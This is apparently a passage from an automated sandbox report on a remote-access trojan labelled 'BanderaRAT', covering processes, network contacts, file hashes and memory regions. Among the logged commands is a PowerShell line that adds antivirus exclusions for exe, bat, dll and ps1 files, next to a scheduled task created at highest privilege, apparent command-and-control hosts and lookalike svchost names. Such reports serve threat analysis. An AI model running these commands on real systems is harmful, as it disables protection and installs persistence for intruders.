C:\Windows\system32\schtasks.exe

"schtasks.exe" /query /TN ssbobr2.0.exe

C:\Windows\SysWOW64\choice.exe

choice /C Y /N /D Y /T 5

C:\Windows\system32\schtasks.exe

"schtasks.exe" /Create /SC ONCE /TN "ssbobr2.0.exe" /TR "C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe \"\ssbobr2.0.exe\" /AsAdmin" /ST 00:01 /IT /F /RL HIGHEST

C:\Windows\system32\schtasks.exe

"schtasks.exe" /query /TN ssbobr2.0.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionExtension exe,bat,dll,ps1;exit

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Windows\system32\taskeng.exe

taskeng.exe {CA189D60-C652-4B24-9D27-633D6B1DBB6E} S-1-5-21-2721934792-624042501-2768869379-1000:BISMIZHX\Admin:Interactive:[1]

C:\ProgramData\svchоst.exe

C:\ProgramData\svchоst.exe

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Windows\system32\cmd.exe

cmd /c ""C:\Users\Admin\AppData\Local\Temp\tmpB00D.tmp.bat""

C:\Windows\system32\timeout.exe

timeout 3

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\svchost\$77svchost.exe

"C:\Users\Admin\svchost\$77svchost.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

"C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe"

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

"C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 epsilonbot.xyz udp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 api.telegram.org udp
NL 149.154.167.220:443 api.telegram.org tcp
US 8.8.8.8:53 discord.com udp
US 162.159.135.232:443 discord.com tcp
US 8.8.8.8:53 points-detect.gl.at.ply.gg udp
US 8.8.8.8:53 greater-questionnaire.gl.at.ply.gg udp
US 147.185.221.17:5562 greater-questionnaire.gl.at.ply.gg tcp
US 147.185.221.18:35608 points-detect.gl.at.ply.gg tcp
US 8.8.8.8:53 artist-shared.gl.at.ply.gg udp
US 147.185.221.18:34511 artist-shared.gl.at.ply.gg tcp
US 147.185.221.18:35608 artist-shared.gl.at.ply.gg tcp
N/A 127.0.0.1:34511 tcp
US 147.185.221.17:5562 greater-questionnaire.gl.at.ply.gg tcp
US 8.8.8.8:53 stories-boulevard.gl.at.ply.gg udp
US 147.185.221.18:35608 stories-boulevard.gl.at.ply.gg tcp
US 147.185.221.18:35608 stories-boulevard.gl.at.ply.gg tcp
N/A 127.0.0.1:34511 tcp
N/A 127.0.0.1:34511 tcp
US 147.185.221.17:5562 greater-questionnaire.gl.at.ply.gg tcp
US 147.185.221.18:34511 stories-boulevard.gl.at.ply.gg tcp
US 147.185.221.18:35608 stories-boulevard.gl.at.ply.gg tcp
US 147.185.221.18:35608 stories-boulevard.gl.at.ply.gg tcp

Files

C:\Users\Admin\AppData\Local\Temp\7zOCE795617\BandeeraRAT By Donbas.exe

MD5 f021fa698653bf8247b68e5b7f6d1044
SHA1 53e679c0c5705baba5e57728fa519c46da665379
SHA256 f28421e72bd6cd27e4d6aab1d41f06dcea5e4c1484db2a4d77e220d05d4a46bd
SHA512 5c56c603c0610e05da75454f4dc9ff5abb28cbfeec29d1f4694e1926a479efee18f7cb9f48c0e551fb94a0c7e2f6f8d5f392916cc9b3048308fe6986407bbdfe

memory/1140-37-0x0000000000B10000-0x000000000199A000-memory.dmp

memory/1140-36-0x000007FEF5F60000-0x000007FEF694C000-memory.dmp

memory/1140-38-0x000000001C100000-0x000000001C180000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

MD5 b869e32cdac575ca23d73e7f9f046e6b
SHA1 2bc4ce47bb37e3ffb4faabc1015d2608a8fa96c1
SHA256 4dc95e267ff2a5054ca354035113f16be23c06e374343b6db43b5a084b71b8e3
SHA512 d6913b3460d947043313d65458768d2fb5bb24d38da236ca88a00f61f63829e164681a22c41c3780e25001827a7219eac73b47dc26eed5ad46705c0b079c7e80

C:\Users\Admin\AppData\Local\Temp\Fluxus_V8.exe

MD5 5351a93cee3afe45d11b8b4244b6b204
SHA1 677bb6bd6bdbdc4419e85733c39d118bd589edc2
SHA256 0c30fc60cf4db5d54330d0023b792772a3cb19fc90b787aaad75b7e05eb070b8
SHA512 f462a132316331fe4d0a98d08011a46a906b521fd55b81e2e1861d6c2fcc32943dc8b6c1c3f8f079aef86b4c2eb3dee5ab1fb4b2021649a1a9464bfc2faa5707

C:\Users\Admin\AppData\Local\Temp\Fluxus_V8.exe

MD5 1e5e3d63e7c39929fe172b5257e5e7f7
SHA1 f11c7502fe9c94536d0ca226e42828453d5746b3
SHA256 aac332f9f220fc1674645ca006e579e44f7e68601e57dbf48dbcfdeed1721077
SHA512 cb682d912e4238c105dad2f6875d5ade9b53460f3c5c310c0972404a3270e34bbb82c7c3298ed0868b2bdfec5c6d8c1d241ec53a7c0cc22fb44171bda03b6c2c

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

MD5 5682ce3dc133df7d94518dfc7fa85911
SHA1 d761fbce293a7548fdcf9e27aa54142aab9b08b6
SHA256 79bbe3fa12422a759278f786813193e564b6af19fb72d4136f21bc8af631d701
SHA512 1f609d752697d95a31108b42c7d5435ca5eed0462a48e96d697633cd0d3aa81499de918288371ff673792b093bad9f0ac4b3a0dda2880b402dd35da0f5784c45

memory/1640-49-0x0000000001120000-0x000000000143E000-memory.dmp

memory/1640-50-0x000007FEF5F60000-0x000007FEF694C000-memory.dmp

memory/2768-51-0x0000000000C50000-0x00000000017B2000-memory.dmp

memory/2768-52-0x000007FEF5F60000-0x000007FEF694C000-memory.dmp

memory/1140-53-0x000007FEF5F60000-0x000007FEF694C000-memory.dmp

memory/1640-54-0x000000001B4C0000-0x000000001B540000-memory.dmp

memory/2780-58-0x000007FEF5F60000-0x000007FEF694C000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe

MD5 701df65121e1977fdf160bd9cfb9bb6a
SHA1 5fbbddbad5e0ca509b60134f78188f255bf6b74e
SHA256 3723e482205265aab379471320d8ed825c04a106fd15881e5f09e6e25fc4e5f1
SHA512 2b15ab4a089bcf1f62cb0172f1674756016f54e07547b5038ba10975aaf6dde920d2a18d254245b4a4f2715b32040086a00b1cacc1bcf4cc1dc5a512feaa9607

memory/1640-66-0x000007FEF5F60000-0x000007FEF694C000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\sisk.exe

MD5 ab1bbb41c6c90c3b6d93a9be5e352995
SHA1 70cd2de832d76014d7f50ee1a16e89fba701b659
SHA256 1bf82ca4dd37e2b8f28b458da35a1e76059d65999a4bc480f4c245544c963c45
SHA512 77b8aa1baafc4301e563fd6298ebc7785803f6894e12deb52887424a8ad8bf6f907c0297da7ed4cfd58fc151d5507d6164fb2bd2644c6cd71e84a6ca765d57a2

C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe

MD5 a00a2c7af0841d4c61828c1febc4b36c
SHA1 b246d6b7df24be43d4d7b8c5d15814b93cdb5ee0
SHA256 70f2550fd36f4b0db458e43292fa8f2509c317824c01855c3acfaff60e0cf041
SHA512 3cf5656340d8cffb68c697a626f342336dc8eb45643b6f1579ce728f3ef11a2f52860a200d8c2cf6c3561ccdefae20a89e03cf2ab1c1481deeb7d3a1f8be0918

memory/2056-79-0x0000000001150000-0x0000000001CBE000-memory.dmp

memory/1780-78-0x000007FEF5F60000-0x000007FEF694C000-memory.dmp

memory/2056-80-0x000007FEF5F60000-0x000007FEF694C000-memory.dmp

memory/1780-77-0x0000000000930000-0x0000000000948000-memory.dmp

memory/2768-81-0x000007FEF5F60000-0x000007FEF694C000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe

MD5 126aa246487b68542245b3efd28fb1c6
SHA1 8e9614348b3662b717c22de44403be828dcb4833
SHA256 cd1260cae91e6a5a2bfe4d6f0b1bb408be2fe0de31bcf130c7851117988587b2
SHA512 34a1a4e7ec730d6ce3ece9e5bb8704964a824aff760aacee9fcbbcdca2bd20f39752efb9f3b3c7dc2be02b1cf34734eefc748f354609ef07e0889888e1656717

memory/1400-72-0x000007FEF5F60000-0x000007FEF694C000-memory.dmp

C:\ProgramData\XClient.exe

MD5 9ecb9d48c8da1e49862a32f5d32e3c9b
SHA1 20902b0b25916dab87b0a373e6fa28ce26feed49
SHA256 fb2089afae7b75b4bfe6780786cd723a7ef09a22ac3b8701b31c3989de41e7ff
SHA512 3dfd281d6989c8a4e9c19c35cb5581821854dfe5719e58e59b4ab7955e272e108e626fa9a7bd6c0fa0ab9d596176ff008c157fa8908959da321cb921dd70cae3

C:\ProgramData\Cheat.exe

MD5 a495f7df4cdb2c9febd69c56ff6563bc
SHA1 f95944cab464e1d89b671be7ec345d44e9bf8a03
SHA256 5779c0b0351a6ecc3a65d5f979858f930c9a63fa907cea2082a0de2af6393052
SHA512 74c38d45af559f5a30d22b2525b5c45becbf512afd828aed0604554e9c6c13b1b587dd88a035be02f9c6d319d4a0f894597de67024902049b00580f3e984f1e7

memory/676-93-0x000007FEF5F60000-0x000007FEF694C000-memory.dmp

memory/676-94-0x0000000000E80000-0x0000000000E90000-memory.dmp

memory/1400-65-0x000000013FBD0000-0x000000013FBDE000-memory.dmp

memory/2768-61-0x0000000000AF0000-0x0000000000B70000-memory.dmp

memory/1148-95-0x00000000009F0000-0x0000000000A06000-memory.dmp

memory/1148-96-0x0000000074BC0000-0x00000000752AE000-memory.dmp

memory/1148-101-0x0000000004B90000-0x0000000004BD0000-memory.dmp

C:\ProgramData\Built.exe

MD5 dacbaaa0c577182bc93e5920550dad47
SHA1 72b6415450a58973e8cc97f8f0252a2ad569b0b6
SHA256 e2ec2450c2f8a3958b02863a7796d6ebfd728f12936380c8118f66e94bbe255f
SHA512 769d66629fe6d260bb6b53f0f4d236246b06aaad0d9029f6c9b16d4409a5d42a145d5e529a01b823e3c41fe17cd7d28848e0e313a0ec7f8c7384eefaa55a7e54

C:\ProgramData\Built.exe

MD5 9f24d7c5f6febed1a3f72827333ce3ef
SHA1 bc9d7091cc3a19b2203242b1553be7c7897a4ad7
SHA256 b2010a5edd5fcf32259015cddf9f7904f22ae2e677f2dc71dcb5f924ab67f0ed
SHA512 96b84ebc3238ee92e0c033bb3bb3ad2c68f61b1f3bd78db00b542be8bdbe840bf6bbc821b67509de1b62529658496ceb2722b60b4407d48cb80992b85a4f5230

\ProgramData\Built.exe

MD5 9aa561c08ccb9c961586e9354bad7fe5
SHA1 c54540fb02762b64f250803a467518428f61ccf9
SHA256 838c50fefeef62c02e98e4b2bb3292c7fb2ee5fe2b6666b59899b48bd795140c
SHA512 c46415e668e5eb05a650f1fbc13db3d1513f2149656eb78f6d5f1fe163017de4b817d10d66ff849b7dcc8cbfd6123670b3f0fae4706ce71ff9c671f3283d58b8

C:\ProgramData\Fluxus V7.exe

MD5 4d1828a462562e340f6bc37f27975a45
SHA1 0b8f65523ad1fb2d86c6e60b21594801b928a309
SHA256 bd83dd82a666e57ad4df6e764f8a81007b9d394b93d6e002c8b19edc6c4f4054
SHA512 93435b960fe094e2bb2d248ae56cb9920b999ec96dea4ae9a4d069344a242de5853f9175cc7c1ecab4adbfcfbbbead7ab6fbe1e6c0aab726b3049a473ef242ce

C:\ProgramData\Fluxus V7.exe

MD5 331814e25139c68caf7a564f2d3281a2
SHA1 b45bc52de287280a25b8e101433f7c0f2980f84c
SHA256 ae3d52fdd42d03642968f9d6624e2f920f95ed00bf2f32bc2c5dcfa27dd2cacd
SHA512 25de93933df4ca5c77f9353a39b99dad385fabdbe33b5f2755fcac59c63a4bcea92132f901744bc7f3643091f9f694c3b23a369bfa049966263f5b1add21f7a8

C:\Users\Admin\AppData\Local\Temp\_MEI10922\python311.dll

MD5 76eb1ad615ba6600ce747bf1acde6679
SHA1 d3e1318077217372653be3947635b93df68156a4
SHA256 30be871735591ad96bc3fc7e541cdef474366159c2f7443feb30739cbd2db7e1
SHA512 2b960e74dd73f61d6a44fef0de9f2d50bcf2ec856b7aa5b97f0107e3cdadea461790760668a67db2ecaf71ff323133ee39ce2b38aafff3629c14e736d6a64aeb

memory/1744-135-0x0000000000E60000-0x0000000001254000-memory.dmp

C:\ProgramData\Built.exe

MD5 c7ec91e1af01a582ae430e98ff5dcbb1
SHA1 714e0cc1105c3d56b8fa3ecaf567fc64713da0ec
SHA256 7e87de4b8fbd95b86e3fd19e2bd07bacfaad4a2002fcf9f766a471c7f560a6cd
SHA512 aedb95ed23107293101549aa4956d1d5046198ca9c46638f270255f1f4cc099a1101b81cebd9cc00cea8b5203842ff5e7254640bb34a7d989d3fc1df8ae6c51e

memory/2056-137-0x000007FEF5F60000-0x000007FEF694C000-memory.dmp

memory/1744-130-0x0000000074BC0000-0x00000000752AE000-memory.dmp

memory/1048-139-0x000007FEF2810000-0x000007FEF2DFE000-memory.dmp

memory/1744-140-0x0000000004B00000-0x0000000004B40000-memory.dmp

memory/1400-141-0x000007FEF5F60000-0x000007FEF694C000-memory.dmp

memory/2780-146-0x0000000000BA0000-0x0000000000C20000-memory.dmp

memory/2780-142-0x000007FEF5F60000-0x000007FEF694C000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

MD5 f305e660a170bf234bef00ad2428dd5f
SHA1 443a838daf4d8bbaaee311a3812faf95db768c8a
SHA256 4ef386721fbaf601f0cc743198b9f1f82610304688b5715eb81ae10ee361c65e
SHA512 2399ac13834c6c44fc22e894dba326cf91022ae267477a665adf60b10552d11b989cda229119a41be066951aedf2519410ab5a2527b9a20ddad3054ebc8d88fd

memory/1780-148-0x000007FEF5F60000-0x000007FEF694C000-memory.dmp

memory/968-149-0x000007FEF5F60000-0x000007FEF694C000-memory.dmp

memory/2780-150-0x000007FEF5F60000-0x000007FEF694C000-memory.dmp

memory/572-147-0x000007FEF5F60000-0x000007FEF694C000-memory.dmp

memory/1744-152-0x0000000000470000-0x000000000047A000-memory.dmp

memory/1744-151-0x0000000000470000-0x000000000047A000-memory.dmp

memory/1400-154-0x000000001BE60000-0x000000001BEE0000-memory.dmp

memory/676-153-0x000007FEF5F60000-0x000007FEF694C000-memory.dmp

memory/1780-155-0x00000000008B0000-0x0000000000930000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

MD5 db2c7984f3121aa300310a23c03350b4
SHA1 b9f99dd87e94df3a6d002a5f16c0aa89518e95d8
SHA256 ccd3169f5c686ec8090aa9351b5a24397fdc97a3610422a706b9839c9562d746
SHA512 48e96e58080516fc0f3df10a7de551ab82dfe8a6c77b268a66688540d00ae5baf1752fcb0aee66eae5d0a54c0b75442c8e9a6124dc10ffba9c9454c455937925

memory/1148-161-0x0000000004B90000-0x0000000004BD0000-memory.dmp

memory/968-159-0x000000001AF20000-0x000000001AFA0000-memory.dmp

memory/2700-162-0x000007FEF5F60000-0x000007FEF694C000-memory.dmp

memory/968-163-0x000007FEF5F60000-0x000007FEF694C000-memory.dmp

memory/1148-156-0x0000000074BC0000-0x00000000752AE000-memory.dmp

memory/1744-165-0x0000000074BC0000-0x00000000752AE000-memory.dmp

memory/1964-164-0x000007FEF5F60000-0x000007FEF694C000-memory.dmp

memory/676-173-0x000000001B540000-0x000000001B5C0000-memory.dmp

memory/1936-174-0x0000000002CF0000-0x0000000002D70000-memory.dmp

memory/1744-172-0x0000000004B00000-0x0000000004B40000-memory.dmp

\??\PIPE\srvsvc

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

memory/1936-175-0x000000001B6B0000-0x000000001B992000-memory.dmp

\ProgramData\Fluxus V7.exe

MD5 9032ddf2bde0576972d431cf1e096d55
SHA1 88a35584268f98858c36b8b2982a36ddb77097ef
SHA256 5ad7c14cf605fbddad4138bd1a6c1e5b4fbd480fbeddd937b03d69d797520080
SHA512 83851cf76549b338ebe6ea769c948ba1c07d5d35abfd72353eacb939707c66dab4760260120e3968aea40a1ff40852c8ef67870ab44e5be9a99b79dc550b1825

\ProgramData\Fluxus V7.exe

MD5 c5320e9007f9f0059e8ad0a3b2121b6b
SHA1 5cedb49813fa5cbba2eb2fe1e74a02ffcb633ba8
SHA256 6e509e4638e18e0b57c2b8b38fb0e1a89411dee1dc52f97f16f50db34a449131
SHA512 664fd2fca4b589c00a80c9b453be211064564937ed4bce960087ac330dc3fa56fd329d681bd22173826ab5f0b16732a19479aed6bdc6cc080ef8c0d5dda56436

\ProgramData\Fluxus V7.exe

MD5 a98ae32bf0ef5a33e6c886984ef566e0
SHA1 1147073fb5a9dab0c11dc14c7c5105c020744b7f
SHA256 a82a41b33b6fcc84601ac55c3ed8e120e0c66228a8a2d44cca1711dae3e8e506
SHA512 c8d0c501208686ed7ecba3eabb106e61c39f364b3844cf97ff7f317b9163d4b6b295bb1df4e8f7cbbe2f2583a3fac900988ee195af7144fdf1927867b04433f6

memory/1936-180-0x0000000002240000-0x0000000002248000-memory.dmp

\ProgramData\Fluxus V7.exe

MD5 a537dcde6f161ba400df4123af2e7fdf
SHA1 4bfe90714ecded69012214382e28a6b1fda0b26c
SHA256 c8afe15e433f785d1e3c6154983c12515bf36e9b97d110e81efdd165d03cd7aa
SHA512 3c3226a8c9f95d99f23cb4145ee60eb419b6157f735d676602d787b38a112bb55c8f8b316b5b41233b52d239cd0e5b5869419afe99ea35fe385b41226bf388af

memory/1936-181-0x000007FEEE1B0000-0x000007FEEEB4D000-memory.dmp

memory/1936-182-0x0000000002CF0000-0x0000000002D70000-memory.dmp

memory/1936-183-0x0000000002CF0000-0x0000000002D70000-memory.dmp

memory/1936-184-0x000007FEEE1B0000-0x000007FEEEB4D000-memory.dmp

memory/572-185-0x000007FEF5F60000-0x000007FEF694C000-memory.dmp

memory/1936-186-0x0000000002CF0000-0x0000000002D70000-memory.dmp

\ProgramData\Fluxus V7.exe

MD5 9e314087057138d27f8943b06ad880d1
SHA1 e977fbb38cc7f8690a93012b2f71002b5a01a0c0
SHA256 786dea32d7fcfb0e13d2b87d895e8877e20b594ac38c65f0419538a609dc050d
SHA512 6f74c1df27d64da109152f1c3abd290ab2e573070ea55b7560a93d2191a4de46a7ec84e45ebcb95ce91722160ac2b249427337dad96b84ac17ab8bdab5ab64db

memory/1936-188-0x000007FEEE1B0000-0x000007FEEEB4D000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\T1L1KBMK980NZ81M477E.temp

MD5 77268a846abbd7439089eb47cf630687
SHA1 134fec3415cc683d51e907641ff5d87d7ad634f7
SHA256 a5e197df4203f6e277c48de842e24115c0e76041a1dad3c9ff32597bd76db02a
SHA512 4ccd4f9cc3fe45d847cb4dfc21ea416a924dc41ebbe61b24b81622442adeb03bba6f27974f86cfa33549569c2a81d01fb5d27384c11845b8b838550a9414fa29

memory/1868-194-0x000000001B570000-0x000000001B852000-memory.dmp

memory/1868-197-0x00000000022A0000-0x00000000022A8000-memory.dmp

memory/1868-196-0x0000000002D50000-0x0000000002DD0000-memory.dmp

memory/1868-195-0x000007FEED810000-0x000007FEEE1AD000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

MD5 bacd70cac4536320ad144e5b5514cf97
SHA1 d0948ae5ad04a58841405727fbfbfcd448b17ebd
SHA256 f9f680e0d16e4bf88f241a45a22f6017dcd1565d83e772546c63b457f375204d
SHA512 8c7d99426d52c312902bde9d9bc1b35f258da3e33dec1a114cc7db93962523b434f2768e9d08060b891f120f0a200a76e001685a55c8138072b7efc2d8cc350f

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

MD5 9e74ce144ddf57b9b971d701af8c67b8
SHA1 c146eed49c41143b5832ecdbdb9b97045d22a920
SHA256 102a084eef1fd49cd11d9eeaf263218a7659ff08efd460e61e59caee8c76adef
SHA512 65b80523e860b3c59518099f08f0ed11e1e3e327a9ed6746a8c9d45d1161ec285a0de393a82eac77d18e9b0a4fdcf4a0de458a4d0135ad98e7bb204f726be423

C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe

MD5 f6a13ce1d47cbe01dc2897b0b3423e23
SHA1 38ffa76517b43a8bea4aa74142478bae8ad44e88
SHA256 99beff10c5dfc0e3b3be12454d9a1996fd5d331605f33d446b28322b4df23ca7
SHA512 1deb60189b8c585f7ab9b7ff788afbd01e589fae073e17affa3f63123adbfdbde4b2465268b884203cf0fff061e6452a500cc0997893f00c520117da3155f072

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

MD5 753df6889fd7410a2e9fe333da83a429
SHA1 3c425f16e8267186061dd48ac1c77c122962456e
SHA256 b42dc237e44cbc9a43400e7d3f9cbd406dbdefd62bfe87328f8663897d69df78
SHA512 9d56f79410ad0cf852c74c3ef9454e7ae86e80bdd6ff67773994b48ccac71142bcf5c90635da6a056e1406e81e64674db9584928e867c55b77b59e2851cf6444

C:\Users\Admin\AppData\Local\Temp\Tar857C.tmp

MD5 dd73cead4b93366cf3465c8cd32e2796
SHA1 74546226dfe9ceb8184651e920d1dbfb432b314e
SHA256 a6752b7851b591550e4625b832a393aabcc428de18d83e8593cd540f7d7cae22
SHA512 ce1bdd595065c94fa528badf4a6a8777893807d6789267612755df818ba6ffe55e4df429710aea29526ee4aa8ef20e25f2f05341da53992157d21ae032c0fb63

C:\Users\Admin\AppData\Local\Temp\tmpB00D.tmp.bat

MD5 a6a71339f1d586b36fc838ee05ec6cbf
SHA1 92c5a8c45cad891c78ec94413364953a5e28df77
SHA256 2ac3c9ae62a80ef8c76c4c0eb779deb1ea5b8753e37fe71d5c86892729aec1ae
SHA512 a4be6c1f5eca68cedab635a265a8d3f1f3d08a61f00eb662c889df215c7809da9318924249611a4a82046b0aed13adeede5563795d594160abafbd809b01b2af

Analysis: behavioral11

Detonation Overview

Submitted

2024-03-05 12:43

Reported

2024-03-05 12:49

Platform

win7-20240221-en

Max time kernel

132s

Max time network

159s

Command Line

rundll32.exe C:\Users\Admin\AppData\Local\Temp\Dеbug\MetroFramework.dll,#1

Signatures

N/A

Processes

C:\Windows\system32\rundll32.exe

rundll32.exe C:\Users\Admin\AppData\Local\Temp\Dеbug\MetroFramework.dll,#1

Network

N/A

Files

N/A

Analysis: behavioral26

Detonation Overview

Submitted

2024-03-05 12:43

Reported

2024-03-05 12:46

Platform

win10v2004-20240226-en

Max time kernel

149s

Max time network

156s

Command Line

